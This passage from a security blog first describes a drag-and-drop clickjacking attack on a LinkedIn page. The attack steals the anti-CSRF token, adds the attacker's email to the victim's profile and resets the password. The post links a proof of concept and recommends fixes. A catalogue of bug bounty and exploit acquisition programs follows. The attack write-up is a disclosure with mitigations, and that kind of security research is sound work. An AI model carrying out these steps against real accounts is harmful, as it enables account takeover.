<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRI4AnUdsNBDBGIkn1pWKyaymCRiTcVwJknnMACW-7dGIBlqSFKaXTTycTqD0AJLVuS4CQn4D5ArVSnPqDUEFoycVfwWW-5M2irJKwx-zQHsLTutqDbCPjTSkWzEVaZ3EYA0Uc-U6sgimx/s1600/AJAX0.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRI4AnUdsNBDBGIkn1pWKyaymCRiTcVwJknnMACW-7dGIBlqSFKaXTTycTqD0AJLVuS4CQn4D5ArVSnPqDUEFoycVfwWW-5M2irJKwx-zQHsLTutqDbCPjTSkWzEVaZ3EYA0Uc-U6sgimx/s320/AJAX0.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 2 - anti-CSRF tokens.</td></tr>
</tbody></table>
For example, the attacker could abuse a <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">Cross-Site Scripting</a> issue on both www.linkedin.com or any LinkedIn's subdomains to <i>poison</i> the cookie parameter JSESSIONID and bypass the mechanism — this attack is also known as <a href="http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf" target="_blank">Cookie Tossing</a>. During my security research I found a vulnerable LinkedIn's page that includes the anti-CSRF token within the HTML code, despite not being protected by the X-Frame-Options header. Under these circumstances, the iframe-to-iframe method can be used to attack authenticated LinkedIn users and steal their secret token in order to perform different kind of malicious actions on the victim's profile. The following URL refers to the LinkedIn vulnerable web resource as detailed in Figure 3:<br />
<ul>
<li><b>http://www.linkedin.com/companies?trk=hb_tab_compy </b></li>
</ul>
<br /></div>
<div style="text-align: justify;">
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5due4GG0wBspdfos5ZXQtCrMUcUF3fp36uKCdsQp7OeD6Vlm3bppKy4dYImTBjeXOHqg3tFgbe2quNlaW2rAVHR6kWIqvro0xHpATlKzA7ipqO96kQxqO3nHpR80jba2HEWNu0llpPkH/s1600/ajax.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5due4GG0wBspdfos5ZXQtCrMUcUF3fp36uKCdsQp7OeD6Vlm3bppKy4dYImTBjeXOHqg3tFgbe2quNlaW2rAVHR6kWIqvro0xHpATlKzA7ipqO96kQxqO3nHpR80jba2HEWNu0llpPkH/s400/ajax.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 3 - Vulnerable LinkedIn web resource.</td></tr>
</tbody></table>
<br />
The vulnerability can be easily abused to craft a UI Redressing exploit that triggers the victim to drag&drop the anti-CSRF token. The token can then be abused to edit any information on the victim's profile and even to <i>reset the account password</i>. In order to demonstrate the effectiveness of the attack I developed a fully working Proof of Concept exploit that adds the attacker's e-mail as a trusted address to the victim's profile and verifies the e-mail itself. At that point, the attacker can easily reset the victim's password using LinkedIn password reset mechanism.<br />
<br />
The following are the logical steps implemented by the Proof of Concept exploit:</div>
<ol>
<li>The malicious page frames both the LinkedIn vulnerable page and the attacker-controlled "dropper" page;</li>
<span style="color: red;"> </span>
<li>The malicious page allows the victim to play the d&d game, which extracts the anti-CSRF token; </li>
<li>The malicious page can now bypass the anti-CSRF protection and adds a new e-mail address to the victim's profile. The action involves the forwarding of a confirmation e-mail from LinkedIn system to the attacker box: an activation URL is included;</li>
<li>The exploit interacts with an attacker's script — <b>/linkedin/linkedin.php</b> — which accesses the attacker's mail box via IMAP and waits for the Linkedin activation e-mail. Once obtained the e-mail, the URL is returned back to the malicious page, which is still loaded by victim's web browser;</li>
<li>The script can now simulate the navigation of the fetched URL in order to <i>confirm</i> the new address.</li>
</ol>
<div style="text-align: justify;">
The attacker can now reset the victim's account password abusing the password reset functionality, where he will type the e-mail address previously added to the targeted profile. Figure 4 highlights the different HTTP requests exchanged between the attacked web browser, the attacker's servers and the LinkedIn web application, in order to achieve the password resetting.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7naknCEmJGbuka804vZA6NGltrXRjSnMm8VGedoh5y9UhQj3IbhS30YoO1pgYBFaxvvI16NqjNIMB7M_fOBrlRRn-l4iBRF5Pa8K3r0gxBgGhBdu9LSTb7pl4vWMlo9UPT4jhMITLZ8kU/s1600/1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7naknCEmJGbuka804vZA6NGltrXRjSnMm8VGedoh5y9UhQj3IbhS30YoO1pgYBFaxvvI16NqjNIMB7M_fOBrlRRn-l4iBRF5Pa8K3r0gxBgGhBdu9LSTb7pl4vWMlo9UPT4jhMITLZ8kU/s640/1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 4 - Sequence diagram detailing the attack.</td></tr>
</tbody></table>
A working PoC has been developed and can be downloaded <a href="https://github.com/daath1/nibblesec/tree/master/ui_redressing_mayhem/linkedin">here</a>. The following is a video of the attack:<br />
<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="360" src="http://www.youtube.com/embed/zJ_JkLANrx8" width="640"></iframe> <br />
<h3>
</h3>
<h3>
Beyond the Mayhem</h3>
<br />
LinkedIn Team was informed about this attack scenario. The following are a series of suggestions that should prevent this kind of attacks:<br />
<ul><span style="color: orange;"> </span>
<li>Protect every web resource that includes anti-CSRF tokens with the <i>X-Frame-Options</i> header. Nowadays, this mechanism is available in all major browsers;</li>
<li>Consider to adopt a stateful anti-CSRF mechanism that should not perform the validation on the basis of potentially attacker-controlled inputs. </li>
</ul>
</div>
Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-732257695511948254.post-30482770143428190932011-10-20T23:14:00.000-07:002013-10-19T18:28:10.058-07:00"No More Free Bugs" Initiatives<a href="http://3.bp.blogspot.com/-TwllnzsiNsk/TlPlAiOzjhI/AAAAAAAACok/psNoWtVv0HY/s1600/nomorefreebugs.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5644106555377028626" src="http://3.bp.blogspot.com/-TwllnzsiNsk/TlPlAiOzjhI/AAAAAAAACok/psNoWtVv0HY/s320/nomorefreebugs.png" style="cursor: pointer; float: left; height: 75px; margin: 0pt 10px 10px 0pt; width: 86px;" /></a>Two years after the launch of the "<a href="http://trailofbits.com/2009/03/22/no-more-free-bugs/">No More Free Bugs</a>" philosophy, several companies and Open Source projects are now offering programs designed to encourage security research in their products. In addition, many private firms are publicly offering vulnerability acquisition programs.<br />
<br />
<br />
<strike>This post is an attempt to catalog all <span style="font-weight: bold;">public</span> and <span style="font-weight: bold;">active</span> incentives. This includes traditional "Bug Bounty Programs" as well as "Vulnerability/Exploit Acquisition Programs".</strike><br />
<b>Update (19 Oct 2013): </b>A new website <a href="http://www.bugsheet.com/bug-bounties">http://www.bugsheet.com/bug-bounties</a> has started collecting bug bounties and disclosure programs. I do recognize that an actual website is better than a single blog post, thus I've discontinued this list.<br />
<br />
<span style="font-weight: bold;">Bug Bounty Programs</span><br />
<t></t><br />
<table border="1" cellpadding="2" cellspacing="2" style="text-align: left; width: 100%;"><tbody>
<tr> <td style="background-color: #cccccc; font-weight: bold; text-align: center; vertical-align: top;"><br />
<small>Sponsor</small> </td> <td style="background-color: #cccccc; font-weight: bold; text-align: center; vertical-align: top;"><br />
<small>Target</small> </td> <td style="background-color: #cccccc; font-weight: bold; text-align: center; vertical-align: top;"><br />
<small>Reward</small> </td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://developer.att.com/developer/apiDetailPage.jsp?passedItemId=10700235">AT&T</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security vulnerabilities found within the AT&T API Platform</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$100-$5,000, plus merchandize (e.g. LTE data cards, phones with free service)</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://blog.avast.com/2013/01/25/introducing-avast-bug-bounty/">Avast</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security vulnerabilities in the latest consumer Windows versions of Avast</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$200-$5,000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.barracudalabs.com/bugbounty/">Barracuda</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Vulnerabilities in Barracuda appliances, including Spam/Virus Firewall, Web Filter, WAF, NG Firewall</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$500-$3,133.7</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://bugcrowd.com/">BugCrowd</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Crowdsourced security testing. BugCrowd manages bug bounty programs for third-party companies</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from $250</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://bugwolf.com/">BugWolf</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Marketplace for bug bounty hunters. BugWolf manages bug bounty programs for third-party companies</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from $500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://coinbase.com/whitehat">Coinbase</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Previously unknown security vulnerabilities in Coinbase's web platform</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from 5 BTC</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://crypto.cat/bughunt/">Cryptocat</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>XSS bugs, crypto implementation bugs, arbitrary code execution in Cryptocat's code</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://cr.yp.to/djbdns/guarantee.html">Djbdns</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Verifiable security holes in the latest version of Djbdns</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$1000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.etsy.com/help/article/2463">Etsy</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Web application vulnerabilities affecting the main www.etsy.com site, the etsy.com API, or the official Etsy mobile application</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from $500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.facebook.com/whitehat/bounty/">Facebook</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Facebook web platform security bugs. No third-party applications</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from $500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://futureofenforcement.com/?page_id=695#">Future of Enforcement</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Web vulnerabilities in Future of Enforcement's website</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>€100</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://codex.gallery2.org/Bounties">Gallery</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security issues in the latest stable release of the popular web based photo album organizer</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$100-$1000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://googleonlinesecurity.blogspot.com/2010/11/rewarding-web-application-security.html">Google</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Chromium browser project, Chrome OS and selected Google web properties bugs</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$500-$20,000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.integraxor.com/blog/integraxor-hmi-scada-bug-bounty-program/">IntegraXor HMI/SCADA</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security vulnerabilities in IGX SCADA systems with verifiable proof-of-concepts</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Up to 8K I/O points (~$3999)</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.hex-rays.com/bugbounty.shtml">Hex-Rays</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security bugs in the latest public release of Hex-Rays IDA</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Up to $3000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://docs.kaneva.com/mediawiki/index.php/Bug_Bounty">Kaneva</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>High impact web application vulnerabilities</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$100</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://mega.co.nz/#blog_6">Mega</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Web application vulnerabilities and crypto bugs affecting MEGA's online systems</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Up to €10000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.meraki.com/trust/#srp">Meraki</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>All web content under *.meraki.com, Meraki-operated web properties, systems manager client applications and Meraki hardware devices</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$100-$2500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.mozilla.org/security/bug-bounty.html">Mozilla</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Firefox, Thunderbird and selected Mozilla Internet-facing websites bugs</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$500-$3000, plus Mozilla T-shirt</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.nokia.com/global/security/security/">Nokia</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Vulnerabilities in all Nokia run services, applications and products excluding corporate infrastructure</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://cms.paypal.com/cgi-bin/marketingweb?cmd=_render-content&content_ID=security/reporting_security_issues">PayPal</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Web application vulnerabilities in www.paypal.com</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://piwik.org/security/">Piwik</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Flaws in Piwik web analytics software</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$200-$500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://cr.yp.to/qmail/guarantee.html">Qmail</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Verifiable security holes in the latest version of Qmail</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$5000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://ripple.com/bug-bounty/">Ripple</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security issues in Ripple, an OpenSource person to person payment network</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Up to $10000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://www.samsungbugbounty.com/">Samsung</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security bugs in Samsung TV/BD</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>Starting from $500</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.tarsnap.com/bugbounty.html">Tarsnap</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Tarsnap bugs, affecting either pre-release or released versions</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$1-$2000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://company.yandex.com/security/index.xml">Yandex</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security vulnerabilities in Yandex's services or mobile applications, as specified on the terms and conditions page</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$100-$1000</small></td> </tr>
</tbody> </table>
<br />
<span style="font-weight: bold;">Vulnerability/Exploit Acquisition Programs</span><br />
<t></t><br />
<table border="1" cellpadding="2" cellspacing="2" style="text-align: left; width: 100%;"><tbody>
<tr> <td style="background-color: #cccccc; font-weight: bold; vertical-align: top;"><br />
<div style="text-align: center;">
<small>Sponsor</small></div>
</td> <td style="background-color: #cccccc; font-weight: bold; vertical-align: top;"><br />
<div style="text-align: center;">
<small>Target</small></div>
</td> <td style="background-color: #cccccc; font-weight: bold; vertical-align: top;"><br />
<div style="text-align: center;">
<small>Reward</small></div>
</td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.beyondsecurity.com/ssd.html">BeyondSecurity SecuriTeam</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>High and medium impact bugs in widely spread software</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.coseinc.com/en/index.php?rt=advisory">Coseinc</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Unpublished security vulnerabilities for Windows, Linux and Solaris</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://www.exodusintel.com/eip/">Exodus Intelligence Program</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Vulnerability research acquisition program for unknown vulnerabilities affecting widely deployed software packages</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a plus yearly bonuses</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://www.exploithub.com/request/index/developmentrequests/">ExploitHub</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Legitimate market-place for non-zero-day exploits</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$50-$1000. Both one-time purchase payments as well as recurring monthly payments from site-license customers</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="https://gvp.isightpartners.com/program_details.gvp?page=3&title=1&section=0">iSight Partners</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Bugs in typical corporate environment applications</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://pentest.snosoft.com/netragards-eap/">Netragard</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>0-day exploits against well-known software</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://packetstormsecurity.com/bugbounty/">Packet Storm</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Exploits for 0-day and 1-day vulnerabilities in enterprise-grade software (Microsoft, Flash, Java, etc.)</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$1000-$7000</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.zerodayinitiative.com/">TippingPoint ZDI</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Undisclosed vulnerability research, affecting widely deployed software</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a plus awards and benefits, depending on the contributor's status</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/vulnerability-intelligence/index.xhtml">VeriSign iDefence</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Security vulnerabilities in widely deployed applications</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$n/a</small></td> </tr>
<tr> <td style="text-align: center; vertical-align: top; width: 20%;"><small><a href="http://www.whitefirdesign.com/about/wordpress-security-bug-bounty-program.html">White Fir Design</a></small></td> <td style="text-align: center; vertical-align: top; width: 60%;"><small>Bugs in WordPress code and plugins (with over 1 million downloads and compatible with the most recent WordPress)</small></td> <td style="text-align: center; vertical-align: top; width: 20%;"><small>$50-$500</small></td> </tr>
</tbody> </table>
<br />
<span style="font-style: italic;">Contributions are welcome! If you are aware of an initiative not listed here or </span><span style="font-style: italic;">you want to report an inaccuracy in your initiative</span><span style="font-style: italic;">, please leave a comment and we will update this page over time. In fact, the more people, the better.</span> <br />
<br />
Just to clarify, we aim at indexing programs that are:<br />
<ul>
<li><span style="font-weight: bold;">Legal</span>. Although black/gray market places exist, we don't certainly want to list them here</li>
<li><span style="font-weight: bold;">Active</span>. We want to keep track of ongoing initiatives. Even time-limited programs are eligible, as long as they are still accepting submissions</li>
<li><span style="font-weight: bold;">Public</span>. All entries must have publicly available details. This may range from accurate guidelines and rules to just a simple sentence stating the nature of the incentive. It hence follows that we are going to report public information only. In case of cash rewards, the actual amount is reported whenever the min-max price paid is clearly stated </li>
<li><span style="font-weight: bold;">Reward-based</span>. In most cases, entries are "cash-for-bugs" programs. However, any kind of tangible reward is eligible. "No More Free Bugs" versus "No More Cheap Bugs" disputes are not considered here</li>
</ul>
<b>Disclaimer:</b> we do not endorse, represent or warrant the accuracy or reliability of any of these programs.<br />
<ul></ul>
Unknownnoreply@blogger.com25